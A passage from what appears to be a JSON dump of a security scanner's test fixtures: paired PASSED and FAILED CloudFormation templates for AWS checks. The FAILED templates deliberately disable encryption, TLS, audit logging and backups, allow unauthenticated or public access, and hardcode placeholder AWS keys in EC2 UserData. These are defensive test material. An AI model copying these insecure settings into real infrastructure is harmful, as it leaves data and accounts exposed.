Resource: \"*\"\n              Action: \"SNS:Publish\"\n    myTrail: \n      DependsOn: \n        - BucketPolicy\n        - TopicPolicy\n      Type: AWS::CloudTrail::Trail\n      Properties: \n        S3BucketName: \n          Ref: S3Bucket\n        #EnableLogFileValidation: True\n        EnableLogFileValidation: False\n        KMSKeyId: alias/MyAliasName\n        SnsTopicName: \n          Fn::GetAtt: \n            - Topic\n            - TopicName\n        IsLogging: true\n        IsMultiRegionTrail: true\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_CloudtrailLogValidation/CloudTrailLogValidation-PASSED.yaml",
    "content": "  AWSTemplateFormatVersion: \"2010-09-09\"\n  Parameters: \n    OperatorEmail: \n      Description: \"Email address to notify when new logs are published.\"\n      Type: String\n  Resources: \n    S3Bucket: \n      DeletionPolicy: Retain\n      Type: AWS::S3::Bucket\n      Properties: {}\n    BucketPolicy: \n      Type: AWS::S3::BucketPolicy\n      Properties: \n        Bucket: \n          Ref: S3Bucket\n        PolicyDocument: \n          Version: \"2012-10-17\"\n          Statement: \n            - \n              Sid: \"AWSCloudTrailAclCheck\"\n              Effect: \"Allow\"\n              Principal: \n                Service: \"cloudtrail.amazonaws.com\"\n              Action: \"s3:GetBucketAcl\"\n              Resource: \n                !Sub |-\n                  arn:aws:s3:::${S3Bucket}\n            - \n              Sid: \"AWSCloudTrailWrite\"\n              Effect: \"Allow\"\n              Principal: \n                Service: \"cloudtrail.amazonaws.com\"\n              Action: \"s3:PutObject\"\n              Resource:\n                !Sub |-\n                  arn:aws:s3:::${S3Bucket}/AWSLogs/${AWS::AccountId}/*\n              Condition: \n                StringEquals:\n                  s3:x-amz-acl: \"bucket-owner-full-control\"\n    Topic: \n      Type: AWS::SNS::Topic\n      Properties: \n        Subscription: \n          - \n            Endpoint: \n              Ref: OperatorEmail\n            Protocol: email\n    TopicPolicy: \n      Type: AWS::SNS::TopicPolicy\n      Properties: \n        Topics: \n          - Ref: \"Topic\"\n        PolicyDocument: \n          Version: \"2012-10-17\"\n          Statement: \n            - \n              Sid: \"AWSCloudTrailSNSPolicy\"\n              Effect: \"Allow\"\n              Principal: \n                Service: \"cloudtrail.amazonaws.com\"\n              Resource: \"*\"\n              Action: \"SNS:Publish\"\n    myTrail: \n      DependsOn: \n        - BucketPolicy\n        - TopicPolicy\n      Type: AWS::CloudTrail::Trail\n      Properties: \n        S3BucketName: \n          Ref: S3Bucket\n        EnableLogFileValidation: True\n        #EnableLogFileValidation: False\n        KMSKeyId: alias/MyAliasName\n        SnsTopicName: \n          Fn::GetAtt: \n            - Topic\n            - TopicName\n        IsLogging: true\n        IsMultiRegionTrail: true\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_CloudtrailMultiRegion/CloudtrailMultiRegion-FAILED.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources: \n  MyTrail0:\n    Type: AWS::CloudTrail::Trail\n    Properties: \n      IsLogging: True\n      IsMultiRegionTrail: False\n      S3BucketName: String\n  MyTrail1:\n    Type: AWS::CloudTrail::Trail\n    Properties: \n      IsLogging: True\n      IsMultiRegionTrail: False\n      S3BucketName: String\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_CloudtrailMultiRegion/CloudtrailMultiRegion-PASSED.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources: \n  MyTrail0:\n    Type: AWS::CloudTrail::Trail\n    Properties: \n      IsLogging: True\n      IsMultiRegionTrail: True\n      S3BucketName: String\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_CodeBuildProjectEncryption/CodeBuildProjectEncryption-FAILED.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources: \n  MyCodeBuildProject0:\n    Type: AWS::CodeBuild::Project\n    Properties: \n      Artifacts:\n        EncryptionDisabled: True\n        Location: MyS3BucketName\n        Name: /\n        Type: S3\n      Environment: \n        ComputeType: BUILD_GENERAL1_SMALL\n        Image: aws/codebuild/standard:4.0\n        Type: LINUX_CONTAINER\n      ServiceRole: arn:aws:iam::123456789012:role/CodeBuild-service-role\n      Source: \n        Type: NO_SOURCE\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_CodeBuildProjectEncryption/CodeBuildProjectEncryption-PASSED.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources: \n  MyCodeBuildProject0:\n    Type: AWS::CodeBuild::Project\n    Properties: \n      Artifacts:\n        EncryptionDisabled: False\n        Location: MyS3BucketName\n        Name: /\n        Type: S3\n      Environment: \n        ComputeType: BUILD_GENERAL1_SMALL\n        Image: aws/codebuild/standard:4.0\n        Type: LINUX_CONTAINER\n      ServiceRole: arn:aws:iam::123456789012:role/CodeBuild-service-role\n      Source: \n        Type: NO_SOURCE\n  MyCodeBuildProject1:\n    Type: AWS::CodeBuild::Project\n    Properties: \n      Artifacts:\n        Location: MyS3BucketName\n        Name: /\n        Type: S3\n      Environment: \n        ComputeType: BUILD_GENERAL1_SMALL\n        Image: aws/codebuild/standard:4.0\n        Type: LINUX_CONTAINER\n      ServiceRole: arn:aws:iam::123456789012:role/CodeBuild-service-role\n      Source: \n        Type: NO_SOURCE\n  MyCodeBuildProject2:\n    Type: AWS::CodeBuild::Project\n    Properties: \n      Artifacts:\n        Type: NO_ARTIFACTS\n      Environment: \n        ComputeType: BUILD_GENERAL1_SMALL\n        Image: aws/codebuild/standard:4.0\n        Type: LINUX_CONTAINER\n      ServiceRole: arn:aws:iam::123456789012:role/CodeBuild-service-role\n      Source: \n        Type: NO_SOURCE\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_CognitoUnauthenticatedIdentities/FAILED.yml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nDescription: Identity pool\nResources:\n  Fail:\n    Type: AWS::Cognito::IdentityPool\n    Properties:\n      AllowClassicFlow: True\n      AllowUnauthenticatedIdentities: True\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_CognitoUnauthenticatedIdentities/PASSED.yaml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nDescription: Identity pool\nResources:\n  Pass:\n    Type: AWS::Cognito::IdentityPool\n    Properties:\n      AllowClassicFlow: True\n      AllowUnauthenticatedIdentities: False\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_DAXEncryption/DAXEncryption-FAILED.yml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nDescription: \"Create a DAX cluster\"\nResources:\n  daxCluster:\n    Type: AWS::DAX::Cluster\n    Properties:\n      ClusterName: \"MyDAXCluster\"\n      NodeType: \"dax.r3.large\"\n      ReplicationFactor: 1\n      IAMRoleARN: \"arn:aws:iam::111122223333:role/DaxAccess\"\n      Description: \"DAX cluster created with CloudFormation\""
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_DAXEncryption/DAXEncryption-PASSED.yml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nDescription: \"Create a DAX cluster\"\nResources:\n  daxCluster:\n    Type: AWS::DAX::Cluster\n    Properties:\n      ClusterName: \"MyDAXCluster\"\n      NodeType: \"dax.r3.large\"\n      ReplicationFactor: 1\n      IAMRoleARN: \"arn:aws:iam::111122223333:role/DaxAccess\"\n      Description: \"DAX cluster created with CloudFormation\"\n      SSESpecification:\n        SSEEnabled: true"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_DMSReplicationInstancePubliclyAccessible/DMSReplicationInstancePubliclyAccessible-FAILED.yml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources:\n  Resource0:\n    Type: AWS::DMS::ReplicationInstance\n    Properties: \n      ReplicationInstanceClass: dms.c4.large\n  Resource1:\n    Type: AWS::DMS::ReplicationInstance\n    Properties: \n      PubliclyAccessible: True\n      ReplicationInstanceClass: dms.c4.large\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_DMSReplicationInstancePubliclyAccessible/DMSReplicationInstancePubliclyAccessible-PASSED.yml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources:\n  Resource0:\n    Type: AWS::DMS::ReplicationInstance\n    Properties: \n      PubliclyAccessible: False\n      ReplicationInstanceClass: dms.c4.large\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_DeprecatedLambdaRuntime/example.yaml",
    "content": "Resources:\n  Pass:\n    Type: 'AWS::Lambda::Function'\n    Properties:\n      Handler: 'index.handler'\n      Role: 'arn:aws:iam::123456789012:role/execution_role'\n      FunctionName: 'MyFunction'\n      Code:\n        S3Bucket: 'myBucket'\n        S3Key: 'code/myLambda.zip'\n      Runtime: 'nodejs18.x'\n  Fail:\n    Type: 'AWS::Lambda::Function'\n    Metadata:\n      cfn-lint:\n        config:\n          ignore_checks:\n            - E2531\n            - E2533\n    Properties:\n      Handler: 'index.handler'\n      Role: 'arn:aws:iam::123456789012:role/execution_role'\n      FunctionName: 'MyFunction'\n      Code:\n        S3Bucket: 'myBucket'\n        S3Key: 'code/myLambda.zip'\n      Runtime: 'dotnetcore3.1'\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_DeprecatedLambdaRuntime/exampleSAM.yaml",
    "content": "AWSTemplateFormatVersion: '2010-09-09'\nTransform: 'AWS::Serverless-2016-10-31'\nDescription: A simple AWS SAM template with a Lambda function.\n\nResources:\n\n  Fail2:\n    Type: 'AWS::Serverless::Function'\n    Metadata:\n      cfn-lint:\n        config:\n          ignore_checks:\n            - E2531\n            - E2533\n    Properties:\n      Handler: 'index.handler'\n      Runtime: 'python3.6'\n      CodeUri: './code/' # This should be the directory path where your Lambda code is.\n      Events:\n        MyApi:\n          Type: Api\n          Properties:\n            Path: /hello1\n            Method: get\n      Environment:\n        Variables:\n          LOG_LEVEL: 'INFO'\n      MemorySize: 256\n      Timeout: 10\n      Role: arn:aws:iam::123456789012:role/lambda_execution_role\n  Pass2:\n    Type: 'AWS::Serverless::Function'\n    Properties:\n      Handler: 'index.handler'\n      Runtime: 'python3.11'\n      CodeUri: './code/' # This should be the directory path where your Lambda code is.\n      Events:\n        MyApi:\n          Type: Api\n          Properties:\n            Path: /hello2\n            Method: get\n      Environment:\n        Variables:\n          LOG_LEVEL: 'INFO'\n      MemorySize: 256\n      Timeout: 10\n      Role: arn:aws:iam::123456789012:role/lambda_execution_role\n\nOutputs:\n  MyServerlessFunctionApi:\n    Description: \"API Gateway endpoint URL for Prod environment\"\n    Value: !Sub \"https://${AWS::AccountId}.execute-api.${AWS::Region}.amazonaws.com/Prod/hello1/\"\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_DocDBAuditLogs/DocDBAuditLogs-FAILED.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources:\n  DocDBParameterGroupDefault:\n    Type: AWS::DocDB::DBClusterParameterGroup\n    Properties: \n      Description: docdb cluster parameter group\n      Family: docdb4.0\n      Name: test\n      Parameters: \n        ttl_monitor: \"enabled\"\n  DocDBParameterGroupDisabled:\n    Type: AWS::DocDB::DBClusterParameterGroup\n    Properties:\n      Description: docdb cluster parameter group\n      Family: docdb4.0\n      Name: test\n      Parameters:\n        audit_logs: \"disabled\"\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_DocDBAuditLogs/DocDBAuditLogs-PASSED.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources:\n  DocDBParameterGroupEnabled:\n    Type: AWS::DocDB::DBClusterParameterGroup\n    Properties: \n      Description: docdb cluster parameter group\n      Family: docdb4.0\n      Name: test\n      Parameters: \n        audit_logs: \"enabled\"\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_DocDBBackupRetention/DocDBBackupRetention-FAILED.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources:\n  DocDBDefault:\n    Type: AWS::DocDB::DBCluster\n    Properties:\n      MasterUsername: name\n      MasterUserPassword: password\n  DocDBNotAdequate:\n    Type: AWS::DocDB::DBCluster\n    Properties:\n      MasterUsername: name\n      MasterUserPassword: password\n      BackupRetentionPeriod: 3"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_DocDBBackupRetention/DocDBBackupRetention-PASSED.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources:\n  DocDBAdequate:\n    Type: AWS::DocDB::DBCluster\n    Properties:\n      MasterUsername: name\n      MasterUserPassword: password\n      BackupRetentionPeriod: 7\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_DocDBEncryption/DocDBEncryption-FAILED.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources:\n  DocDBDefault:\n    Type: AWS::DocDB::DBCluster\n    Properties:\n      MasterUsername: name\n      MasterUserPassword: password\n  DocDBDisabled:\n    Type: AWS::DocDB::DBCluster\n    Properties:\n      MasterUsername: name\n      MasterUserPassword: password\n      StorageEncrypted: false"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_DocDBEncryption/DocDBEncryption-PASSED.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources:\n  DocDBEnabled:\n    Type: AWS::DocDB::DBCluster\n    Properties:\n      MasterUsername: name\n      MasterUserPassword: password\n      StorageEncrypted: true"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_DocDBLogging/DocDBLogging-FAILED.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources:\n  DocDBDefault:\n    Type: AWS::DocDB::DBCluster\n    Properties:\n      MasterUsername: name\n      MasterUserPassword: password\n      StorageEncrypted: false\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_DocDBLogging/DocDBLogging-PASSED.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources:\n  DocDBProfiler:\n    Type: AWS::DocDB::DBCluster\n    Properties:\n      MasterUsername: name\n      MasterUserPassword: password\n      StorageEncrypted: false\n      EnableCloudwatchLogsExports: [\"profiler\"]\n  DocDBAudit:\n    Type: AWS::DocDB::DBCluster\n    Properties:\n      MasterUsername: name\n      MasterUserPassword: password\n      StorageEncrypted: false\n      EnableCloudwatchLogsExports: [\"audit\"]\n  DocDBEnabled:\n    Type: AWS::DocDB::DBCluster\n    Properties:\n      MasterUsername: name\n      MasterUserPassword: password\n      StorageEncrypted: true\n      EnableCloudwatchLogsExports: [\"audit\", \"profiler\"]\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_DocDBTLS/DocDBTLS-FAILED.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources:\n  DocDBParameterGroupDisabled:\n    Type: AWS::DocDB::DBClusterParameterGroup\n    Properties: \n      Description: docdb cluster parameter group\n      Family: docdb3.6\n      Name: test\n      Parameters: \n        tls: \"disabled\"\n        ttl_monitor: \"enabled\"\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_DocDBTLS/DocDBTLS-PASSED.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources:\n  DocDBParameterGroupEnabled:\n    Type: AWS::DocDB::DBClusterParameterGroup\n    Properties: \n      Description: docdb cluster parameter group\n      Family: docdb3.6\n      Name: test\n      Parameters: \n        tls: \"enabled\"\n        ttl_monitor: \"enabled\"\n  DocDBParameterGroupDefault:\n    Type: AWS::DocDB::DBClusterParameterGroup\n    Properties: \n      Description: docdb cluster parameter group\n      Family: docdb3.6\n      Name: test\n      Parameters: \n        ttl_monitor: \"enabled\"\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_DynamoDBTablesEncrypted/FAILED.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources: \n  DefaultEncryption:\n    Type: AWS::DynamoDB::Table\n    Properties:\n      TableName: \"test\"\n      AttributeDefinitions: \n        - \n          AttributeName: \"Test\"\n          AttributeType: \"S\"\n      KeySchema: \n        - \n          AttributeName: \"Test\"\n          KeyType: \"HASH\"\n      SSESpecification:\n        SSEEnabled: true\n  EncryptionFalse: \n    Type: AWS::DynamoDB::Table\n    Properties:\n      TableName: \"test\"\n      AttributeDefinitions: \n        - \n          AttributeName: \"Test\"\n          AttributeType: \"S\"\n      KeySchema: \n        - \n          AttributeName: \"Test\"\n          KeyType: \"HASH\"\n      SSESpecification:\n        SSEEnabled: false\n  NoEncryptionConfig: \n    Type: AWS::DynamoDB::Table\n    Properties:\n      TableName: \"test\"\n      AttributeDefinitions: \n        - \n          AttributeName: \"Test\"\n          AttributeType: \"S\"\n      KeySchema: \n        - \n          AttributeName: \"Test\"\n          KeyType: \"HASH\"\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_DynamoDBTablesEncrypted/PASSED.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources: \n  KMSEncryption: \n    Type: AWS::DynamoDB::Table\n    Properties:\n      TableName: \"test\"\n      AttributeDefinitions: \n        - \n          AttributeName: \"Test\"\n          AttributeType: \"S\"\n      KeySchema: \n        - \n          AttributeName: \"Test\"\n          KeyType: \"HASH\"\n      SSESpecification:\n        KMSMasterKeyId: \"alias/key\"\n        SSEEnabled: true\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_DynamodbGlobalTableRecovery/DynamodbGlobalTableRecovery-FAILED-2.yaml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\n\nResources:\n  MyGlobalTableRecoveryDisabled:\n    Type: 'AWS::DynamoDB::GlobalTable'\n    Properties:\n      AttributeDefinitions:\n        - AttributeName: PK\n          AttributeType: S\n        - AttributeName: SK\n          AttributeType: S\n        - AttributeName: GSI1PK\n          AttributeType: S\n        - AttributeName: GSI1SK\n          AttributeType: S\n      BillingMode: PAY_PER_REQUEST\n      GlobalSecondaryIndexes:\n        - IndexName: GSI1\n          KeySchema:\n            - AttributeName: GSI1PK\n              KeyType: HASH\n            - AttributeName: GSI1SK\n              KeyType: RANGE\n          Projection:\n            ProjectionType: ALL\n      KeySchema:\n        - AttributeName: PK\n          KeyType: HASH\n        - AttributeName: SK\n          KeyType: RANGE\n      TableName: MyGT\n      Replicas:\n        - PointInTimeRecoverySpecification:\n            PointInTimeRecoveryEnabled: false\n          Region: eu-west-2\n      StreamSpecification:\n        StreamViewType: NEW_AND_OLD_IMAGES\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_DynamodbGlobalTableRecovery/DynamodbGlobalTableRecovery-FAILED.yaml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\n\nResources:\n  MyGlobalTableRecoveryDefault:\n    Type: 'AWS::DynamoDB::GlobalTable'\n    Properties:\n      AttributeDefinitions:\n        - AttributeName: PK\n          AttributeType: S\n        - AttributeName: SK\n          AttributeType: S\n        - AttributeName: GSI1PK\n          AttributeType: S\n        - AttributeName: GSI1SK\n          AttributeType: S\n      BillingMode: PAY_PER_REQUEST\n      GlobalSecondaryIndexes:\n        - IndexName: GSI1\n          KeySchema:\n            - AttributeName: GSI1PK\n              KeyType: HASH\n            - AttributeName: GSI1SK\n              KeyType: RANGE\n          Projection:\n            ProjectionType: ALL\n      KeySchema:\n        - AttributeName: PK\n          KeyType: HASH\n        - AttributeName: SK\n          KeyType: RANGE\n      TableName: MyGT\n      Replicas:\n        - Region: eu-west-2\n      StreamSpecification:\n        StreamViewType: NEW_AND_OLD_IMAGES\n\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_DynamodbGlobalTableRecovery/DynamodbGlobalTableRecovery-PASSED.yaml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\n\nResources:\n  MyGlobalTableRecoveryEnabled:\n    Type: 'AWS::DynamoDB::GlobalTable'\n    Properties:\n      AttributeDefinitions:\n        - AttributeName: PK\n          AttributeType: S\n        - AttributeName: SK\n          AttributeType: S\n        - AttributeName: GSI1PK\n          AttributeType: S\n        - AttributeName: GSI1SK\n          AttributeType: S\n      BillingMode: PAY_PER_REQUEST\n      GlobalSecondaryIndexes:\n        - IndexName: GSI1\n          KeySchema:\n            - AttributeName: GSI1PK\n              KeyType: HASH\n            - AttributeName: GSI1SK\n              KeyType: RANGE\n          Projection:\n            ProjectionType: ALL\n      KeySchema:\n        - AttributeName: PK\n          KeyType: HASH\n        - AttributeName: SK\n          KeyType: RANGE\n      TableName: MyGT\n      Replicas:\n        - PointInTimeRecoverySpecification:\n            PointInTimeRecoveryEnabled: true\n          Region: eu-west-2\n      StreamSpecification:\n        StreamViewType: NEW_AND_OLD_IMAGES\n\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_DynamodbRecovery/DynamodbRecovery-FAILED-2.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources: \n  myDynamoDBTable: \n    Type: AWS::DynamoDB::Table\n    Properties: \n      AttributeDefinitions: \n        - \n          AttributeName: \"Album\"\n          AttributeType: \"S\"\n        - \n          AttributeName: \"Artist\"\n          AttributeType: \"S\"\n        - \n          AttributeName: \"Sales\"\n          AttributeType: \"N\"\n        - \n          AttributeName: \"NumberOfSongs\"\n          AttributeType: \"N\"\n      KeySchema: \n        - \n          AttributeName: \"Album\"\n          KeyType: \"HASH\"\n        - \n          AttributeName: \"Artist\"\n          KeyType: \"RANGE\"\n      ProvisionedThroughput: \n        ReadCapacityUnits: 5\n        WriteCapacityUnits: 5\n      TableName: \"myTableName\"\n      GlobalSecondaryIndexes: \n        - \n          IndexName: \"myGSI\"\n          KeySchema: \n            - \n              AttributeName: \"Sales\"\n              KeyType: \"HASH\"\n            - \n              AttributeName: \"Artist\"\n              KeyType: \"RANGE\"\n          Projection: \n            NonKeyAttributes: \n              - \"Album\"\n              - \"NumberOfSongs\"\n            ProjectionType: \"INCLUDE\"\n          ProvisionedThroughput: \n            ReadCapacityUnits: 5\n            WriteCapacityUnits: 5\n        - \n          IndexName: \"myGSI2\"\n          KeySchema: \n            - \n              AttributeName: \"NumberOfSongs\"\n              KeyType: \"HASH\"\n            - \n              AttributeName: \"Sales\"\n              KeyType: \"RANGE\"\n          Projection: \n            NonKeyAttributes: \n              - \"Album\"\n              - \"Artist\"\n            ProjectionType: \"INCLUDE\"\n          ProvisionedThroughput: \n            ReadCapacityUnits: 5\n            WriteCapacityUnits: 5\n      LocalSecondaryIndexes: \n        - \n          IndexName: \"myLSI\"\n          KeySchema: \n            - \n              AttributeName: \"Album\"\n              KeyType: \"HASH\"\n            - \n              AttributeName: \"Sales\"\n              KeyType: \"RANGE\"\n          Projection: \n            NonKeyAttributes: \n              - \"Artist\"\n              - \"NumberOfSongs\"\n            ProjectionType: \"INCLUDE\"\n         \n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_DynamodbRecovery/DynamodbRecovery-FAILED.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources: \n  myDynamoDBTable: \n    Type: AWS::DynamoDB::Table\n    Properties: \n      AttributeDefinitions: \n        - \n          AttributeName: \"Album\"\n          AttributeType: \"S\"\n        - \n          AttributeName: \"Artist\"\n          AttributeType: \"S\"\n        - \n          AttributeName: \"Sales\"\n          AttributeType: \"N\"\n        - \n          AttributeName: \"NumberOfSongs\"\n          AttributeType: \"N\"\n      KeySchema: \n        - \n          AttributeName: \"Album\"\n          KeyType: \"HASH\"\n        - \n          AttributeName: \"Artist\"\n          KeyType: \"RANGE\"\n      PointInTimeRecoverySpecification:\n        #PointInTimeRecoveryEnabled: True\n        PointInTimeRecoveryEnabled: False\n      ProvisionedThroughput: \n        ReadCapacityUnits: 5\n        WriteCapacityUnits: 5\n      TableName: \"myTableName\"\n      GlobalSecondaryIndexes: \n        - \n          IndexName: \"myGSI\"\n          KeySchema: \n            - \n              AttributeName: \"Sales\"\n              KeyType: \"HASH\"\n            - \n              AttributeName: \"Artist\"\n              KeyType: \"RANGE\"\n          Projection: \n            NonKeyAttributes: \n              - \"Album\"\n              - \"NumberOfSongs\"\n            ProjectionType: \"INCLUDE\"\n          ProvisionedThroughput: \n            ReadCapacityUnits: 5\n            WriteCapacityUnits: 5\n        - \n          IndexName: \"myGSI2\"\n          KeySchema: \n            - \n              AttributeName: \"NumberOfSongs\"\n              KeyType: \"HASH\"\n            - \n              AttributeName: \"Sales\"\n              KeyType: \"RANGE\"\n          Projection: \n            NonKeyAttributes: \n              - \"Album\"\n              - \"Artist\"\n            ProjectionType: \"INCLUDE\"\n          ProvisionedThroughput: \n            ReadCapacityUnits: 5\n            WriteCapacityUnits: 5\n      LocalSecondaryIndexes: \n        - \n          IndexName: \"myLSI\"\n          KeySchema: \n            - \n              AttributeName: \"Album\"\n              KeyType: \"HASH\"\n            - \n              AttributeName: \"Sales\"\n              KeyType: \"RANGE\"\n          Projection: \n            NonKeyAttributes: \n              - \"Artist\"\n              - \"NumberOfSongs\"\n            ProjectionType: \"INCLUDE\"\n         \n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_DynamodbRecovery/DynamodbRecovery-PASSED.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources: \n  myDynamoDBTable: \n    Type: AWS::DynamoDB::Table\n    Properties: \n      AttributeDefinitions: \n        - \n          AttributeName: \"Album\"\n          AttributeType: \"S\"\n        - \n          AttributeName: \"Artist\"\n          AttributeType: \"S\"\n        - \n          AttributeName: \"Sales\"\n          AttributeType: \"N\"\n        - \n          AttributeName: \"NumberOfSongs\"\n          AttributeType: \"N\"\n      KeySchema: \n        - \n          AttributeName: \"Album\"\n          KeyType: \"HASH\"\n        - \n          AttributeName: \"Artist\"\n          KeyType: \"RANGE\"\n      PointInTimeRecoverySpecification:\n        PointInTimeRecoveryEnabled: True\n        #PointInTimeRecoveryEnabled: False\n      ProvisionedThroughput: \n        ReadCapacityUnits: 5\n        WriteCapacityUnits: 5\n      TableName: \"myTableName\"\n      GlobalSecondaryIndexes: \n        - \n          IndexName: \"myGSI\"\n          KeySchema: \n            - \n              AttributeName: \"Sales\"\n              KeyType: \"HASH\"\n            - \n              AttributeName: \"Artist\"\n              KeyType: \"RANGE\"\n          Projection: \n            NonKeyAttributes: \n              - \"Album\"\n              - \"NumberOfSongs\"\n            ProjectionType: \"INCLUDE\"\n          ProvisionedThroughput: \n            ReadCapacityUnits: 5\n            WriteCapacityUnits: 5\n        - \n          IndexName: \"myGSI2\"\n          KeySchema: \n            - \n              AttributeName: \"NumberOfSongs\"\n              KeyType: \"HASH\"\n            - \n              AttributeName: \"Sales\"\n              KeyType: \"RANGE\"\n          Projection: \n            NonKeyAttributes: \n              - \"Album\"\n              - \"Artist\"\n            ProjectionType: \"INCLUDE\"\n          ProvisionedThroughput: \n            ReadCapacityUnits: 5\n            WriteCapacityUnits: 5\n      LocalSecondaryIndexes: \n        - \n          IndexName: \"myLSI\"\n          KeySchema: \n            - \n              AttributeName: \"Album\"\n              KeyType: \"HASH\"\n            - \n              AttributeName: \"Sales\"\n              KeyType: \"RANGE\"\n          Projection: \n            NonKeyAttributes: \n              - \"Artist\"\n              - \"NumberOfSongs\"\n            ProjectionType: \"INCLUDE\"\n         \n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_EBSEncryption/EBSEncryption-FAILED-2.yaml",
    "content": "AWSTemplateFormatVersion: '2010-09-09'\nDescription: Sample EBS Volume with EC2 instance template\nResources: \n  NewVolume:\n    Type: AWS::EC2::Volume\n    Properties: \n      Size: 100\n      AvailabilityZone: us-west-2a\n      Tags:\n        - Key: MyTag\n          Value: TagValue\n    DeletionPolicy: Snapshot\n\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_EBSEncryption/EBSEncryption-FAILED.yaml",
    "content": "AWSTemplateFormatVersion: '2010-09-09'\nDescription: Sample EBS Volume with EC2 instance template\nResources: \n  NewVolume:\n    Type: AWS::EC2::Volume\n    Properties: \n      Size: 100\n      #Encrypted: true\n      Encrypted: false\n      AvailabilityZone: us-west-2a\n      Tags:\n        - Key: MyTag\n          Value: TagValue\n    DeletionPolicy: Snapshot\n\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_EBSEncryption/EBSEncryption-PASSED.yaml",
    "content": "AWSTemplateFormatVersion: '2010-09-09'\nDescription: Sample EBS Volume with EC2 instance template\nResources: \n  NewVolume:\n    Type: AWS::EC2::Volume\n    Properties: \n      Size: 100\n      Encrypted: true\n      #Encrypted: false\n      AvailabilityZone: us-west-2a\n      Tags:\n        - Key: MyTag\n          Value: TagValue\n    DeletionPolicy: Snapshot\n\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_EC2Credentials/EC2Credentials-FAILED.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources:\n  Resource0:\n    Type: AWS::EC2::Instance\n    Properties: \n      ImageId: ami-04169656fea786776\n      UserData:\n        Fn::Base64:\n          !Sub |\n            #! /bin/bash\n            sudo apt-get update\n            sudo apt-get install -y apache2\n            sudo systemctl start apache2\n            sudo systemctl enable apache2\n            export AWS_ACCESS_KEY_ID\n            export AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE  # checkov:skip=CKV_SECRET_2 test secret\n            export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY  # checkov:skip=CKV_SECRET_6 test secret\n            export AWS_DEFAULT_REGION=us-west-2\n            echo \"<h1>Deployed via Terraform</h1>\" | sudo tee /var/www/html/index.html\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_EC2Credentials/EC2Credentials-FAILED_B64encoded.yaml",
